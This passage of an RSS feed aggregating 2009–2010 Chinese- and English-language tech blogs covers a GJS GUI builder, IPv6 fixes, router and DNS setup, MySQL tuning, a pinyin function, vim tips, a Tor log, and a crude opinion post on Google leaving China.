/&gt;                                 &lt;br /&gt;                                this.set_column_types ( 1, [GObject.TYPE_INT] );&lt;br /&gt;                                this.iter = new Gtk.TreeIter();&lt;br /&gt;                                this.append(this.iter);&lt;br /&gt;                                &lt;br /&gt;                                this.set_value(this.iter, 0, [GObject.TYPE_INT, 3]);&lt;br /&gt;                                this.append(this.iter);&lt;br /&gt;                                this.set_value(this.iter, 0, [GObject.TYPE_INT, 2]);&lt;br /&gt;                                this.append(this.iter);&lt;br /&gt;                                this.set_value(this.iter, 0, [GObject.TYPE_INT, 9]);&lt;br /&gt;                            }&lt;br /&gt;                        }));&lt;br /&gt;                    }&lt;br /&gt;                     &lt;br /&gt;                }&lt;br /&gt;            &lt;br /&gt;            ]&lt;br /&gt;         }&lt;br /&gt;    ]&lt;br /&gt;    &lt;br /&gt; });&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;While you may say, so what, it's a bit prettier than the standard examples, but not exactly much different... While that is true, the use of this nested tree, and xtype method is that it enables you to use code and ui builders to put together an interface, and re-use the components very easily. It also solves one of the GJS/Seed issues of signal binding issues (as we wrap up all listeners).&lt;br /&gt;&lt;br /&gt;The backend code to make this happen is here.. - It's pretty trivial again, but obvously could be expanded to handle the different binding methods for how different components are combined (add/pack_start/append etc...)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;createDelegate = function(method, obj, args, appendArgs){&lt;br /&gt;    &lt;br /&gt;    return function() {&lt;br /&gt;        var callArgs = args || arguments;&lt;br /&gt;        if(appendArgs === true){&lt;br /&gt;            callArgs = Array.prototype.slice.call(arguments, 0);&lt;br /&gt;            callArgs = callArgs.concat(args);&lt;br /&gt;        }else if(typeof appendArgs == &amp;quot;number&amp;quot;){&lt;br /&gt;            callArgs = Array.prototype.slice.call(arguments, 0); // copy arguments first&lt;br /&gt;                var applyArgs = [appendArgs, 0].concat(args); // create method call params&lt;br /&gt;                Array.prototype.splice.apply(callArgs, applyArgs); // splice them in&lt;br /&gt;            }&lt;br /&gt;            return method.apply(obj || window, callArgs);&lt;br /&gt;        };&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;xnew = function(o)&lt;br /&gt;{&lt;br /&gt;    var ret  = o.self ||  new o.xtype(o);&lt;br /&gt;    &lt;br /&gt;    o.items = o.items || [];&lt;br /&gt;    //Seed.print(o.pack.length);&lt;br /&gt;    // packing &lt;br /&gt;    var addm = typeof(ret['add']) == 'undefined' ?  'pack_start' : 'add';&lt;br /&gt;    ret.items = [];&lt;br /&gt;    for( var i =0; i &amp;lt; o.items.length;i++) {&lt;br /&gt;        ret.items[i] = xnew(o.items[i]);&lt;br /&gt;        ret[ o.items.length == 1 ? addm : 'pack_start'](ret.items[i]);&lt;br /&gt;        ret.items[i].xparent = ret;&lt;br /&gt;    }&lt;br /&gt;    o.set = o.set || {}; &lt;br /&gt;    for (var i in o.set) {&lt;br /&gt;         &lt;br /&gt;        ret[i].apply(ret, o.set[i]);&lt;br /&gt;    }&lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;    o.listeners = o.listeners || {};&lt;br /&gt;    for (var i in o.listeners) {&lt;br /&gt;         var _li = createDelegate(o.listeners[i],ret);&lt;br /&gt;         Seed.print(typeof(_li));&lt;br /&gt;         ret.signal[i].connect(_li);&lt;br /&gt;    }&lt;br /&gt;   &lt;br /&gt;    // apply functions..&lt;br /&gt;    for(var i in o) {&lt;br /&gt;        if (typeof(ret[i]) == 'undefined') {&lt;br /&gt;            ret[i] = o[i];&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    if (ret.onRender) {&lt;br /&gt;        ret.onRender.call(ret);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    return ret;&lt;br /&gt;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;h3&gt;Missing Features&lt;/h3&gt;&lt;br /&gt;One area that I was quite interested in, unfortuntatly did not look to easy, that being Javascript tokenizing. In rooscript, I hacked in the ability to retrieve the tokens of a Javascript file and expose it to a Javascript interface. This enabled me to write Javascript compressors, and hack jstoolkit to use this. LeavingÃ�Â  the painfull task of parsing javascript to the compiled part, and not having to deal with a messy parser in Javascript. Looking at Webkit code, It was not immediatly obvious how this could be done however.&lt;br /&gt;&lt;br /&gt;For the time being I will leave that component of my Roo Builder application using rooscript.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;</content:encoded>
	<dc:date>2010-01-19T09:36:52+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-1791050942856904609">
	<title>Vern: 从谷歌退出中国到看china作家被脱裤</title>
	<link>http://www.du1abadd.org/2010/01/china.html</link>
	<content:encoded>FROM: autotiger@&lt;a href=&quot;http://tinyurl.com/ydcqtot&quot;&gt;http://tinyurl.com/ydcqtot&lt;/a&gt;&lt;p&gt;谷歌终于要退出中国了, 这其实是个好消息,终于是谷歌绷不住了要走人了,从政府来说,起码没有背上逼走的骂名,是你自己要走的,不赖我.&lt;br /&gt;政府对待互联网一直是爱恨交织,其中恨谷歌为代表的海外网站更多些.政府本来就这样,我倒感觉很正常,不这样,还真觉着不像祖国了.&lt;p&gt;我比较高兴得其实是扎咋呼呼要的所谓被侵权的所谓中国作家们, 当他们听说谷歌退出中国市场的时候,想必是一脸煞笔似的惊呆吧?&lt;br /&gt;一是不敢相信自己居然有让国际IT巨头滚蛋的能量,紧接着就是对谷歌真的要滚蛋的无比失落.本来指望着敲这个冤大头一笔的,谁知道冤大头不跟自己玩了.&lt;br /&gt;这就像半老徐娘的站街女,本来还心气满满的讨价还价,但是突然发现嫖客改同志了,先前的自信立马犹如退下的套套,萎靡在地,不成个形状.&lt;p&gt;谷歌此次退出中国无比英明,因为此地钱少,人多,奸诈.&lt;br /&gt;免费享用着其提供的各种便利信息,却又对仅仅发布一下一群所谓的八杆子没听说过的作家的作品摘要装逼似的斤斤计较其知识的产权.&lt;p&gt;在一个极度虚伪的号称盛产雷锋的地球某旮旯, 谷歌终于忍不住了,打算退了,吐了. 我对这种决定表示发自内心的赞赏.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-1791050942856904609?l=www.du1abadd.org&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2010-01-13T16:56:49+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-5575904075984704567">
	<title>Vern: java.net.SocketException: Network is unreachable</title>
	<link>http://www.du1abadd.org/2010/01/javanetsocketexception-network-is.html</link>
	<content:encoded>FROM: &lt;a href=&quot;http://tinyurl.com/ydp8tag&quot;&gt;http://tinyurl.com/ydp8tag&lt;/a&gt;&lt;p&gt;   1. edit /etc/sysctl.d/bindv6only.conf&lt;br /&gt;   2. change value net.ipv6.bindv6only=1 into 0&lt;br /&gt;   3. invoke-rc.d procps restart&lt;p&gt;&lt;br /&gt;FROM: &lt;a href=&quot;http://tinyurl.com/yccgu9m&quot;&gt;http://tinyurl.com/yccgu9m&lt;/a&gt;&lt;p&gt;Adding the extra flag &amp;quot;-Djava.net.preferIPv4Stack=true&amp;quot; fixed the&lt;br /&gt;issue. Netflow now starts correctly.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-5575904075984704567?l=www.du1abadd.org&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2010-01-10T17:45:43+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/internet-notes/557">
	<title>Sam Tang: ASUS RT-N12 + DD-WRT 韌體</title>
	<link>http://www.hkcode.com/internet-notes/557</link>
	<content:encoded>&lt;p&gt;用了幾年的的 router 最近有些怪怪的，發生經常 hang 機的情況，升級 firmware 後也是一樣，唯有花錢買過一台。&lt;/p&gt;
&lt;p&gt;最後選擇了 ASUS RT-N12，首先是比較喜歡其簡潔的設計，而它使用的晶片是 BCM4716，時脈 300Mhz，4M FLASH + 32MB DDR RAM，連線數量可達 30,000 條。而著名第三方韌體商 DD-WRT 的韌體也支援 RT-N12，升級過程十分順利。&lt;/p&gt;
&lt;p&gt;用了幾天後，目前也十分穩定，而且長時間開啟後，機身也沒有過熱的情況，是值得推薦的產品。&lt;/p&gt;
&lt;p&gt;官方網頁: &lt;a href=&quot;http://www.asus.com/product.aspx?P_ID=xq8udon10ZTLU7o2&amp;#038;templete=2&quot; target=&quot;_blank&quot;&gt;http://www.asus.com/product.aspx?P_ID=xq8udon10ZTLU7o2&amp;#038;templete=2&lt;/a&gt;&lt;br /&gt;
DD-WRT RT-N12: &lt;a href=&quot;http://www.dd-wrt.com/phpBB2/viewtopic.php?t=62896&quot; target=&quot;_blank&quot;&gt;http://www.dd-wrt.com/phpBB2/viewtopic.php?t=62896&lt;/a&gt;
&lt;/p&gt;</content:encoded>
	<dc:date>2010-01-05T00:54:39+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-1637058570151469939">
	<title>Vern: getPY</title>
	<link>http://www.du1abadd.org/2009/12/getpy.html</link>
	<content:encoded>FROM: &lt;a href=&quot;https://groups.google.com/group/binsos/browse_thread/thread/1951b77a2cf4bfab&quot;&gt;https://groups.google.com/group/binsos/browse_thread/thread/1951b77a2cf4bfab&lt;/a&gt;&lt;p&gt;def getPY(s):&lt;br /&gt;    try: chr=s.encode(&amp;quot;GB18030&amp;quot;)&lt;br /&gt;    except: return s&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xb0\xa1&amp;quot;: return s&lt;br /&gt;    if chr&amp;gt;&amp;quot;\xd7\xf9&amp;quot;: return u&amp;quot;?&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xb0\xc5&amp;quot;: return u&amp;quot;a&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xb2\xc1&amp;quot;: return u&amp;quot;b&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xb4\xee&amp;quot;: return u&amp;quot;c&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xb6\xea&amp;quot;: return u&amp;quot;d&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xb7\xa2&amp;quot;: return u&amp;quot;e&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xb8\xc1&amp;quot;: return u&amp;quot;f&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xb9\xfe&amp;quot;: return u&amp;quot;g&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xbb\xf7&amp;quot;: return u&amp;quot;h&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xbf\xa6&amp;quot;: return u&amp;quot;j&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xc0\xac&amp;quot;: return u&amp;quot;k&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xc2\xe8&amp;quot;: return u&amp;quot;l&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xc4\xc3&amp;quot;: return u&amp;quot;m&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xc5\xb6&amp;quot;: return u&amp;quot;n&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xc5\xbe&amp;quot;: return u&amp;quot;o&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xc6\xda&amp;quot;: return u&amp;quot;p&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xc8\xbb&amp;quot;: return u&amp;quot;q&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xc8\xf6&amp;quot;: return u&amp;quot;r&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xcb\xfa&amp;quot;: return u&amp;quot;s&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xcd\xda&amp;quot;: return u&amp;quot;t&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xce\xf4&amp;quot;: return u&amp;quot;w&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xd1\xb9&amp;quot;: return u&amp;quot;x&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xd4\xd1&amp;quot;: return u&amp;quot;y&amp;quot;&lt;br /&gt;    if chr&amp;lt;&amp;quot;\xd7\xfa&amp;quot;: return u&amp;quot;z&amp;quot;&lt;br /&gt;    return s&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-1637058570151469939?l=www.du1abadd.org&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;&lt;/p&gt;</content:encoded>
	<dc:date>2009-12-14T10:09:43+00:00</dc:date>
</item>
<item rdf:about="http://blog.xychen.org/archives/2009/12/13/%e6%b0%91%e4%b8%bb%e9%bb%a8/">
	<title>來醫: “民主”黨</title>
	<link>http://blog.xychen.org/archives/2009/12/13/%e6%b0%91%e4%b8%bb%e9%bb%a8/</link>
	<content:encoded>&lt;p&gt;一個唔相信民主嘅所謂&amp;#8221;民主黨&amp;#8221;今日自己宣佈咗佢自己嘅末日!!&lt;/p&gt;</content:encoded>
	<dc:date>2009-12-13T14:11:25+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/internet-notes/556">
	<title>Sam Tang: Google Public DNS Servers 開放使用</title>
	<link>http://www.hkcode.com/internet-notes/556</link>
	<content:encoded>&lt;p&gt;上星期 Google 開放了類似 OpenDNS 的 DNS服務，以下是 DNS 的 IP:&lt;/p&gt;
&lt;p&gt;8.8.8.8&lt;br /&gt;
8.8.4.4&lt;/p&gt;
&lt;p&gt;在 Linux 下如果要改用 Google 的 DNS，只要修改 /etc/resolv.conf 檔案，將原本使用的 DNS 改成以下即可:&lt;/p&gt;
&lt;p&gt;nameserver 8.8.8.8&lt;br /&gt;
nameserver 8.8.4.4&lt;/p&gt;
&lt;p&gt;可能是因為 Google 的用戶群龐大，其 DNS 內的 cache 也較豐富，所以很多時瀏覽網站時，感覺 resolve 的時間也很快，比自己 ISP 的反應更佳。但大家要留意，當使用 Google 的 DNS 時，實際上上網的紀錄 Google 也可以知道，關心私穩方面問題的朋友要留意了。
&lt;/p&gt;</content:encoded>
	<dc:date>2009-12-11T04:14:45+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-4078398880973605609">
	<title>Vern: vim tips</title>
	<link>http://www.du1abadd.org/2009/12/vim-tips.html</link>
	<content:encoded>FROM: http://ryanlee.wikidot.com/vim:tips&lt;br /&gt;&lt;br /&gt;`.　'.　　jump to last modification line&lt;br /&gt;gf　　　　open file name under cursor&lt;br /&gt;&lt;br /&gt;gv　　　　reselect-Visual&lt;br /&gt;gi　　　　jump to the last cursor when Insert mode was stopped&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-4078398880973605609?l=www.du1abadd.org&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2009-12-08T12:33:45+00:00</dc:date>
</item>
<item rdf:about="http://www.akbkhome.com/blog.php/View/184/RooJs_Appbuilder_preview.html">
	<title>Alan Knowles: RooJs Appbuilder preview</title>
	<link>http://www.akbkhome.com/blog.php/View/184/RooJs_Appbuilder_preview.html</link>
	<content:encoded>&lt;a href=&quot;http://www.akbkhome.com/blog.php/blog.php&quot;&gt;Article originally from AK BK Consulting blog&lt;/a&gt;&lt;br /&gt;
Well, a peek into the secret world of Roo development. I've been a bit frustrated with the speed of development of the applications recently, so I decided to speed it up a bit..&lt;br /&gt;&lt;br /&gt;Below is  a little video of a module I've added to the Iconstruction framework (which might get released one day..) - which enables me to very rapidly build applications.&lt;br /&gt;&lt;br /&gt;The knock on effect of developing the builder has been that there is now far better support for xtype object constructors in Roo, along with far more acurate and complete documenation (as the builder tool needs that to work)&lt;br /&gt;</content:encoded>
	<dc:date>2009-11-14T07:30:00+00:00</dc:date>
</item>
<item rdf:about="http://www.hkcode.com/programming/555">
	<title>Sam Tang: MySQL 微調技巧</title>
	<link>http://www.hkcode.com/programming/555</link>
	<content:encoded>&lt;p&gt;以下會介紹一些簡易的 MySQL 效能微調技巧，這些方法都是透過 my.cnf 的參數完成，而不需要重新編譯 MySQL。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Buffer&lt;/strong&gt;&lt;br /&gt;
key buffer 是系統索引可用的緩存空間大小，對處理索引有很大的影響。設定 key buffer 的大小要根據自己的需要而定，而一個較簡單的方法是使用 25% 的記憶體空間作為 key buffer 使用。如果是獨立的資料庫伺服器可考慮使用更大的空間，例如 50%。&lt;br /&gt;
通這設定 key buffer 的大小，可以減少硬碟 I/O 操作對 MySQL 的影響。&lt;/p&gt;
&lt;p&gt;以下是 key buffer 在 my.cnf 的設定方法：&lt;/p&gt;
&lt;p&gt;key_buffer = 512M&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Query Cache&lt;/strong&gt;&lt;br /&gt;
這是 SQL Query 的緩存，將 query 的查詢結果暫存在記憶體裡面，直至資料被更新為止。&lt;/p&gt;
&lt;p&gt;query_cache_size = 128MB&lt;br /&gt;
query_cache_limit = 4MB&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Table Cache&lt;/strong&gt;&lt;br /&gt;
對於同時要存取多個資料表十分重要，這是設定同時可開啟資料表的數目。&lt;/p&gt;
&lt;p&gt;table_cache = 512&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sort Buffers&lt;/strong&gt;&lt;br /&gt;
sort_buffer_size (在舊版本是 sort_buffer) 是設定 grouping 及 sorting 的緩存。&lt;/p&gt;
&lt;p&gt;sort_buffer_size = 32M&lt;br /&gt;
myisam_sort_buffer_size = 32M
&lt;/p&gt;</content:encoded>
	<dc:date>2009-11-06T12:56:11+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8534016676139857894.post-9035715295298650917">
	<title>Vern: scrubbed</title>
	<link>http://www.du1abadd.org/2009/11/scrubbed.html</link>
	<content:encoded>Nov 03 13:55:55.152 [warn] Failed to find node for hop 0 of our path. Discarding this circuit.&lt;br /&gt;Nov 03 13:55:56.156 [warn] Failed to find node for hop 0 of our path. Discarding this circuit.&lt;br /&gt;Nov 03 13:55:57.160 [warn] Failed to find node for hop 0 of our path. Discarding this circuit.&lt;br /&gt;...&lt;br /&gt;Nov 03 14:00:37.163 [notice] Tried for 120 seconds to get a connection to [scrubbed]:80. Giving up. (waiting for circuit)&lt;br /&gt;Nov 03 14:00:37.163 [notice] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit)&lt;br /&gt;Nov 03 14:00:37.163 [notice] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit)&lt;br /&gt;Nov 03 14:00:37.163 [notice] Tried for 120 seconds to get a connection to [scrubbed]:80. Giving up. (waiting for circuit)&lt;br /&gt;Nov 03 14:00:37.163 [notice] Tried for 120 seconds to get a connection to [scrubbed]:80. Giving up. (waiting for circuit)&lt;br /&gt;...&lt;br /&gt;Nov 03 14:08:20.727 [notice] no known bridge descriptors running yet; stalling&lt;br /&gt;Nov 03 14:08:21.731 [notice] We now have enough directory information to build circuits.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8534016676139857894-9035715295298650917?l=www.du1abadd.org&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2009-11-03T14:16:19+00:00</dc:date>
</item>
<item rdf:about="http://www.akbkhome.com/blog.php/View/183/Ubuntu_release_910_a_bit_early.html">
	<title>Alan Knowles: Ubuntu release 9.10 a bit early</title>
	<link>http://www.akbkhome.com/blog.php/View/183/Ubuntu_release_910_a_bit_early.html</link>
	<content:encoded>&lt;a href=&quot;http://www.akbkhome.com/blog.php/blog.php&quot;&gt;Article originally from AK BK Consulting blog&lt;/a&gt;&lt;br /&gt;Looks like ubuntu released karmic today (as I guess they could not rename it 9.11). &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I've been testing karmic for months, (which at times have been very painful - but if you join the beta ride, what else would it be), but in the last few weeks it looked like it was really coming together. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The only big regression was the synaptics touchpad resetting the 'tap' setting after suspend resume cycle.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;However, there was a kernel update last week which completely broke suspend (it never really sleeps the machine), and attempts to report it via the apport tool result in a invalid message about the kernel not being a ubuntu one.. (which someone has reported)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I'd really suggest anyone requiring resume/suspend to work, to hold of for a little while until they sort out the remaining issues.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2009-10-29T23:46:22+00:00</dc:date>
</item>

</rdf:RDF>
